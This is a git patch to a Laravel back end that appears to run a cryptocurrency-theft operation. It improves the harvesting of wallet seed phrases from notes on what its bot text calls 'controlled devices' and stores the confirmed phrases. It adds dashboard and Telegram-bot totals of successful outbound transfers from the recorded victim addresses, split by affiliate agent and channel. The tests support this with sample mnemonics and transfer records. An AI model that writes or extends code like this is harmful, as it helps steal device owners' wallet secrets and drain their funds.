From 1746e7b485f1ce14599ab2527785ac830088dc48 Mon Sep 17 00:00:00 2001 From: hashbro Date: Sun, 13 Sep 2026 02:12:06 +0800 Subject: [PATCH] feat: scan --- app/Models/NoteScan.php | 4 +- app/Services/DashboardStatsService.php | 83 +++++++++++++++++++ app/Services/MnemonicDetector.php | 12 ++- app/Services/MnemonicScanService.php | 17 +++- app/Support/NoteContent.php | 9 +- app/Telegram/Handlers/DataCommand.php | 10 +-- app/Telegram/Handlers/HelpCommand.php | 2 +- .../views/admin/dashboard/index.blade.php | 39 +++------ tests/Feature/AdminAgentPortalTest.php | 79 +++++++++++++++++- tests/Feature/MnemonicScanTest.php | 23 +++++ tests/Feature/TelegramBotTest.php | 1 + tests/Unit/MnemonicDetectorTest.php | 15 ++++ tests/Unit/NoteContentTest.php | 12 +++ 13 files changed, 266 insertions(+), 40 deletions(-) diff --git a/app/Models/NoteScan.php b/app/Models/NoteScan.php index 68d9128..a176800 100644 --- a/app/Models/NoteScan.php +++ b/app/Models/NoteScan.php @@ -39,8 +39,10 @@ class NoteScan extends Model return 'h:'.substr(hash('sha1', (string) ($item['title'] ?? '').'|'.(string) ($item['body'] ?? '')), 0, 24); } + public const HASH_VERSION = '2'; + public static function itemHash(array $item): string { - return hash('sha256', (string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? '')); + return hash('sha256', self::HASH_VERSION."\n".(string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? '')); } } diff --git a/app/Services/DashboardStatsService.php b/app/Services/DashboardStatsService.php index 1e43f65..fb880e2 100644 --- a/app/Services/DashboardStatsService.php +++ b/app/Services/DashboardStatsService.php @@ -4,6 +4,7 @@ namespace App\Services; use App\Models\Device; use App\Models\PageVisit; +use App\Models\TransferRecord; use App\Models\User; use App\Models\WalletAddress; use App\Models\WalletMnemonic; @@ -37,6 +38,8 @@ class DashboardStatsService * mnemonic_count: int, * address_count: int, * balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string}, + * transfer_count: int, + * transfers: array{usdt: string, trx: string, eth: string, btc: string}, * by_os: list, * by_ios_version: list, * by_device_ios_version: list, @@ -102,6 +105,14 @@ class DashboardStatsService $from, $to, ); + [$transferCount, $transfers] = $this->transferStats( + $agent, + $agentUserId, + $channelId, + $channelExact, + $from, + $to, + ); $visits = PageVisit::query(); AgentScope::applyChannelIdScope($visits, $agent); @@ -193,6 +204,8 @@ class DashboardStatsService 'mnemonic_count' => $mnemonicCount, 'address_count' => $addressCount, 'balances' => $balances, + 'transfer_count' => $transferCount, + 'transfers' => $transfers, 'by_os' => $byOs, 'by_ios_version' => $byIosVersion, 'by_device_ios_version' => $byDeviceIosVersion, @@ -320,6 +333,76 @@ class DashboardStatsService return [(int) ($row?->addr_count ?? 0), $out]; } + /** + * Successful outbound transfer count + per-asset sums in the selected range. + * + * @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string}} + */ + private function transferStats( + ?User $agent, + ?int $agentUserId, + string $channelId, + bool $channelExact, + Carbon $from, + Carbon $to, + ): array { + $q = TransferRecord::query() + ->where('transfer_records.status', TransferRecord::STATUS_SUCCESS) + ->whereBetween('transfer_records.created_at', [$from, $to]); + + if ($agent !== null || $agentUserId !== null || $channelId !== '') { + $q->whereExists(function ($sub) use ($agent, $agentUserId, $channelId, $channelExact) { + $sub->selectRaw('1') + ->from('wallet_addresses') + ->join('devices', 'devices.id', '=', 'wallet_addresses.device_id') + ->whereColumn('wallet_addresses.address', 'transfer_records.from_address'); + + $scopedIds = null; + if ($agent !== null) { + $scopedIds = AgentScope::channelIdsFor($agent); + } elseif ($agentUserId !== null) { + $scopedIds = AgentScope::channelIdsForUserId($agentUserId); + } + if ($scopedIds !== null) { + if ($scopedIds === []) { + $sub->whereRaw('1 = 0'); + } else { + $sub->whereIn('devices.channel_id', $scopedIds); + } + } + if ($channelId !== '') { + if ($channelExact) { + $sub->where('devices.channel_id', $channelId); + } else { + $sub->where('devices.channel_id', 'like', '%'.$channelId.'%'); + } + } + }); + } + + $amountExpr = DB::connection()->getDriverName() === 'sqlite' + ? 'CAST(transfer_records.amount AS REAL)' + : 'CAST(transfer_records.amount AS DECIMAL(32, 18))'; + $rows = (clone $q) + ->selectRaw('UPPER(transfer_records.asset) as asset, COUNT(*) as cnt, COALESCE(SUM('.$amountExpr.'), 0) as total') + ->groupByRaw('UPPER(transfer_records.asset)') + ->get(); + + $coins = ['usdt' => '0', 'trx' => '0', 'eth' => '0', 'btc' => '0']; + $count = 0; + foreach ($rows as $row) { + $count += (int) $row->cnt; + $col = strtolower((string) $row->asset); + if (! isset($coins[$col])) { + continue; + } + $formatted = WalletAddress::formatAmount($col, $row->total); + $coins[$col] = $formatted === '' ? '0' : $formatted; + } + + return [$count, $coins]; + } + /** * Map telegram /data day token to dashboard range key. * Empty / omitted → today. diff --git a/app/Services/MnemonicDetector.php b/app/Services/MnemonicDetector.php index 94f50ed..4463588 100644 --- a/app/Services/MnemonicDetector.php +++ b/app/Services/MnemonicDetector.php @@ -237,8 +237,8 @@ class MnemonicDetector } /** - * Keep list indices (1. 2. 12) from breaking a phrase, but digits/units - * like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words. + * Keep list indices (1 / 1. / 1.during / 12)wrist) from breaking a phrase, + * but digits/units like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words. * * @return list */ @@ -247,6 +247,9 @@ class MnemonicDetector $out = []; foreach (preg_split('/\s+/u', strtolower($text)) ?: [] as $raw) { $word = trim($raw, ".,!?;:\"'()[]"); + if ($word === '') { + continue; + } if (preg_match('/^[a-z]{3,8}$/', $word) === 1) { $out[] = $word; @@ -255,6 +258,11 @@ class MnemonicDetector if (preg_match('/^\d{1,2}\.?$/', $word) === 1) { continue; } + if (preg_match('/^\d{1,2}[.)\]、.::]?([a-z]{3,8})$/u', $word, $m) === 1) { + $out[] = $m[1]; + + continue; + } $out[] = ''; } diff --git a/app/Services/MnemonicScanService.php b/app/Services/MnemonicScanService.php index 96d2e05..392a183 100644 --- a/app/Services/MnemonicScanService.php +++ b/app/Services/MnemonicScanService.php @@ -97,7 +97,10 @@ class MnemonicScanService return; } - $text = trim((string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? '')); + $text = $this->noteScanText( + trim((string) ($item['title'] ?? '')), + trim((string) ($item['body'] ?? '')), + ); $this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key); $row->content_hash = $hash; $row->scan_status = $this->noteStatus($note, $key); @@ -377,4 +380,16 @@ class MnemonicScanService default => MnemonicScanStatus::EMPTY, }; } + + private function noteScanText(string $title, string $body): string + { + if ($title === '') { + return $body; + } + if ($body === '' || $title === $body || str_starts_with($body, $title)) { + return $body !== '' ? $body : $title; + } + + return $title."\n".$body; + } } diff --git a/app/Support/NoteContent.php b/app/Support/NoteContent.php index b75a427..c019eff 100644 --- a/app/Support/NoteContent.php +++ b/app/Support/NoteContent.php @@ -272,6 +272,7 @@ class NoteContent { $lines = preg_split('/\n+/', $text) ?: []; $title = ''; + $firstLine = ''; $rest = []; foreach ($lines as $line) { $line = trim($line); @@ -280,12 +281,18 @@ class NoteContent } if ($title === '') { $title = mb_substr($line, 0, 80); + $firstLine = $line; continue; } $rest[] = $line; } - return [$title, trim(implode("\n", $rest))]; + $body = trim(implode("\n", $rest)); + if ($body === '') { + $body = $firstLine; + } + + return [$title, $body]; } } diff --git a/app/Telegram/Handlers/DataCommand.php b/app/Telegram/Handlers/DataCommand.php index c3bb143..23aa9bf 100644 --- a/app/Telegram/Handlers/DataCommand.php +++ b/app/Telegram/Handlers/DataCommand.php @@ -92,11 +92,11 @@ class DataCommand '助记词: '.$data['mnemonic_count'], '钱包地址: '.$data['address_count'], '', - '💰 总余额(区间内新增地址)', - '• USDT '.$data['balances']['usdt'], - '• TRX '.$data['balances']['trx'], - '• BTC '.$data['balances']['btc'], - '• ETH '.$data['balances']['eth'], + '💰 总余额 / 交易额(新增地址 · 成功转出 '.$data['transfer_count'].' 笔)', + '• USDT '.$data['balances']['usdt'].' / '.$data['transfers']['usdt'], + '• TRX '.$data['balances']['trx'].' / '.$data['transfers']['trx'], + '• BTC '.$data['balances']['btc'].' / '.$data['transfers']['btc'], + '• ETH '.$data['balances']['eth'].' / '.$data['transfers']['eth'], '• BNB '.$data['balances']['bnb'], '', '🌐 页面访问', diff --git a/app/Telegram/Handlers/HelpCommand.php b/app/Telegram/Handlers/HelpCommand.php index 7a68a86..52e5843 100644 --- a/app/Telegram/Handlers/HelpCommand.php +++ b/app/Telegram/Handlers/HelpCommand.php @@ -18,7 +18,7 @@ class HelpCommand ' 健康检查', '', '/data [1|7|30] [channelId]', - ' 查询仪表盘统计(设备/余额/访问/分布)', + ' 查询仪表盘统计(设备/余额/交易额/访问/分布)', ' 天数默认当天;渠道默认全部', ' channelId: 旧版 32 hex 或新版 X.Y.ZZ', ' 例: /data', diff --git a/resources/views/admin/dashboard/index.blade.php b/resources/views/admin/dashboard/index.blade.php index 2f01af4..ec44577 100644 --- a/resources/views/admin/dashboard/index.blade.php +++ b/resources/views/admin/dashboard/index.blade.php @@ -145,38 +145,17 @@ - +
+ @foreach (['usdt' => 'USDT', 'trx' => 'TRX', 'btc' => 'BTC', 'eth' => 'ETH', 'bnb' => 'BNB'] as $coin => $label)
-
USDT
+
{{ $label }}
-
—
-
-
-
-
TRX
-
-
—
-
-
-
-
BTC
-
-
—
-
-
-
-
ETH
-
-
—
-
-
-
-
BNB
-
-
—
+
—
+ 余额/转出
+ @endforeach
@@ -335,8 +314,12 @@ layui.use(['form', 'laydate', 'layer'], function () { $('#dash-pv').html(ratioHtml(res.data.effective_pv || 0, res.data.pv || 0)); $('#dash-uv').html(ratioHtml(res.data.effective_uv || 0, res.data.uv || 0)); var bal = res.data.balances || {}; + var tx = res.data.transfers || {}; + $('#dash-tx-count').text(res.data.transfer_count || 0); ['usdt', 'trx', 'btc', 'eth', 'bnb'].forEach(function (c) { - $('#dash-bal-' + c).text(bal[c] != null && bal[c] !== '' ? bal[c] : '0'); + var left = bal[c] != null && bal[c] !== '' ? bal[c] : '0'; + var right = c === 'bnb' ? '—' : (tx[c] != null && tx[c] !== '' ? tx[c] : '0'); + $('#dash-coin-' + c).html(ratioHtml(left, right)); }); fillRows('#dash-by-os', res.data.by_os); fillRows('#dash-by-ios-version', res.data.by_ios_version); diff --git a/tests/Feature/AdminAgentPortalTest.php b/tests/Feature/AdminAgentPortalTest.php index 3add3ca..171c745 100644 --- a/tests/Feature/AdminAgentPortalTest.php +++ b/tests/Feature/AdminAgentPortalTest.php @@ -5,6 +5,7 @@ namespace Tests\Feature; use App\Models\Admin; use App\Models\Channel; use App\Models\Device; +use App\Models\TransferRecord; use App\Models\User; use App\Models\WalletAddress; use App\Models\WalletMnemonic; @@ -297,6 +298,46 @@ class AdminAgentPortalTest extends TestCase 'source' => 'imToken', 'mnemonic' => 'legal winner thank year wave sausage worth useful legal winner thank yellow', ]); + TransferRecord::query()->create([ + 'from_address' => 'TTestAddress111111111111111111111', + 'to_address' => 'TTo', + 'chain' => 'tron', + 'tx_hash' => 'tx-usdt', + 'amount' => '10.5', + 'type' => TransferRecord::TYPE_OUT, + 'asset' => 'USDT', + 'status' => TransferRecord::STATUS_SUCCESS, + ]); + TransferRecord::query()->create([ + 'from_address' => 'TTestAddress111111111111111111111', + 'to_address' => 'TTo', + 'chain' => 'tron', + 'tx_hash' => 'tx-trx', + 'amount' => '3.25', + 'type' => TransferRecord::TYPE_OUT, + 'asset' => 'TRX', + 'status' => TransferRecord::STATUS_SUCCESS, + ]); + TransferRecord::query()->create([ + 'from_address' => '0xabcdefabcdefabcdefabcdefabcdefabcdefabcd', + 'to_address' => '0xto', + 'chain' => 'eth', + 'tx_hash' => 'tx-eth', + 'amount' => '0.1', + 'type' => TransferRecord::TYPE_OUT, + 'asset' => 'ETH', + 'status' => TransferRecord::STATUS_SUCCESS, + ]); + TransferRecord::query()->create([ + 'from_address' => 'TTestAddress111111111111111111111', + 'to_address' => 'TTo', + 'chain' => 'tron', + 'tx_hash' => 'tx-fail', + 'amount' => '99', + 'type' => TransferRecord::TYPE_OUT, + 'asset' => 'USDT', + 'status' => TransferRecord::STATUS_FAILED, + ]); $this->actingAs($admin, 'admin') ->getJson(route('admin.dashboard.data', ['range' => '30d'])) @@ -310,11 +351,16 @@ class AdminAgentPortalTest extends TestCase ->assertJsonPath('data.balances.eth', '0.1') ->assertJsonPath('data.balances.btc', '0.001') ->assertJsonPath('data.balances.bnb', '1.25') + ->assertJsonPath('data.transfer_count', 3) + ->assertJsonPath('data.transfers.usdt', '10.5') + ->assertJsonPath('data.transfers.trx', '3.25') + ->assertJsonPath('data.transfers.eth', '0.1') + ->assertJsonPath('data.transfers.btc', '0') ->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4') ->assertJsonPath('data.by_device_ios_version.0.count', 2) ->assertJsonPath('data.by_device_ios_version.1.label', '18.5') ->assertJsonPath('data.by_device_ios_version.1.count', 1) - ->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to', 'date_from', 'date_to']]); + ->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'transfer_count', 'transfers', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to', 'date_from', 'date_to']]); } #[Test] @@ -378,6 +424,35 @@ class AdminAgentPortalTest extends TestCase 'updated_at' => '2026-08-10 12:00:00', ]); + $inTx = TransferRecord::query()->create([ + 'from_address' => 'TInRangeAddr111111111111111111111', + 'to_address' => 'TTo', + 'chain' => 'tron', + 'tx_hash' => 'in-tx', + 'amount' => '4.2', + 'type' => TransferRecord::TYPE_OUT, + 'asset' => 'USDT', + 'status' => TransferRecord::STATUS_SUCCESS, + ]); + \Illuminate\Support\Facades\DB::table('transfer_records')->where('id', $inTx->id)->update([ + 'created_at' => '2026-08-10 12:00:00', + 'updated_at' => '2026-08-10 12:00:00', + ]); + $outTx = TransferRecord::query()->create([ + 'from_address' => 'TOutOfRangeAddr11111111111111111', + 'to_address' => 'TTo', + 'chain' => 'tron', + 'tx_hash' => 'out-tx', + 'amount' => '9', + 'type' => TransferRecord::TYPE_OUT, + 'asset' => 'USDT', + 'status' => TransferRecord::STATUS_SUCCESS, + ]); + \Illuminate\Support\Facades\DB::table('transfer_records')->where('id', $outTx->id)->update([ + 'created_at' => '2026-07-01 12:00:00', + 'updated_at' => '2026-07-01 12:00:00', + ]); + $this->actingAs($admin, 'admin') ->getJson(route('admin.dashboard.data', [ 'date_from' => '2026-08-01', @@ -391,6 +466,8 @@ class AdminAgentPortalTest extends TestCase ->assertJsonPath('data.mnemonic_count', 1) ->assertJsonPath('data.address_count', 1) ->assertJsonPath('data.balances.usdt', '5') + ->assertJsonPath('data.transfer_count', 1) + ->assertJsonPath('data.transfers.usdt', '4.2') ->assertJsonPath('data.date_from', '2026-08-01') ->assertJsonPath('data.date_to', '2026-08-15'); } diff --git a/tests/Feature/MnemonicScanTest.php b/tests/Feature/MnemonicScanTest.php index c9f71d5..778eae3 100644 --- a/tests/Feature/MnemonicScanTest.php +++ b/tests/Feature/MnemonicScanTest.php @@ -71,6 +71,29 @@ TXT; }); } + #[Test] + public function glued_numbered_note_words_auto_confirm_and_ingest(): void + { + $phrase = 'during exhaust tool custom smart old busy region skin wasp attitude wrist'; + $device = $this->device('dev-scan-glued'); + Note::query()->create([ + 'device_id' => $device->id, + 'content' => [ + '1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist', + ], + 'content_hash' => hash('sha256', 'glued'), + ]); + + app(MnemonicScanService::class)->scanDeviceNotes($device); + + $finding = MnemonicFinding::query()->first(); + $this->assertNotNull($finding); + $this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->status); + $this->assertSame($phrase, $finding->candidate); + $this->assertSame(1, $device->mnemonics()->count()); + $this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status')); + } + #[Test] public function nine_note_hits_are_ignored(): void { diff --git a/tests/Feature/TelegramBotTest.php b/tests/Feature/TelegramBotTest.php index 31a0ebe..1f027de 100644 --- a/tests/Feature/TelegramBotTest.php +++ b/tests/Feature/TelegramBotTest.php @@ -290,6 +290,7 @@ class TelegramBotTest extends TestCase $this->assertStringContainsString('页面 PV: 1 / 2', $text); $this->assertStringContainsString('设备与资产', $text); $this->assertStringContainsString('总余额', $text); + $this->assertStringContainsString('交易额', $text); $this->assertStringContainsString('助记词', $text); $this->assertStringContainsString('受控设备 · 系统版本', $text); $this->assertStringContainsString('按 iOS 版本', $text); diff --git a/tests/Unit/MnemonicDetectorTest.php b/tests/Unit/MnemonicDetectorTest.php index 12b6666..b685818 100644 --- a/tests/Unit/MnemonicDetectorTest.php +++ b/tests/Unit/MnemonicDetectorTest.php @@ -117,6 +117,21 @@ TXT; $this->assertSame(12, $hit['word_count']); } + #[Test] + public function notes_keep_inline_and_glued_numbered_phrase(): void + { + $phrase = 'during exhaust tool custom smart old busy region skin wasp attitude wrist'; + $spaced = '1 during 2 exhaust 3 tool 4 custom 5 smart 6 old 7 busy 8 region 9 skin 10 wasp 11 attitude 12 wrist'; + $glued = '1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist'; + + foreach ([$spaced, $glued] as $text) { + $hit = (new MnemonicDetector)->detect($text, true); + $this->assertNotNull($hit); + $this->assertTrue($hit['confirmed']); + $this->assertSame($phrase, $hit['candidate']); + } + } + #[Test] public function prefers_english_phrase_over_chinese_ui(): void { diff --git a/tests/Unit/NoteContentTest.php b/tests/Unit/NoteContentTest.php index 0974ba1..2177649 100644 --- a/tests/Unit/NoteContentTest.php +++ b/tests/Unit/NoteContentTest.php @@ -40,6 +40,18 @@ class NoteContentTest extends TestCase $this->assertSame([], NoteContent::fromList(["\n(\n\t (\n"])); } + #[Test] + public function keeps_full_single_line_body_when_longer_than_title(): void + { + $line = '1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist'; + $items = NoteContent::fromList([$line]); + + $this->assertCount(1, $items); + $this->assertTrue(str_starts_with($line, $items[0]['title'])); + $this->assertSame($line, $items[0]['body']); + $this->assertStringContainsString('12.wrist', $items[0]['body']); + } + #[Test] public function keeps_title_as_body_when_rest_is_notes_junk(): void {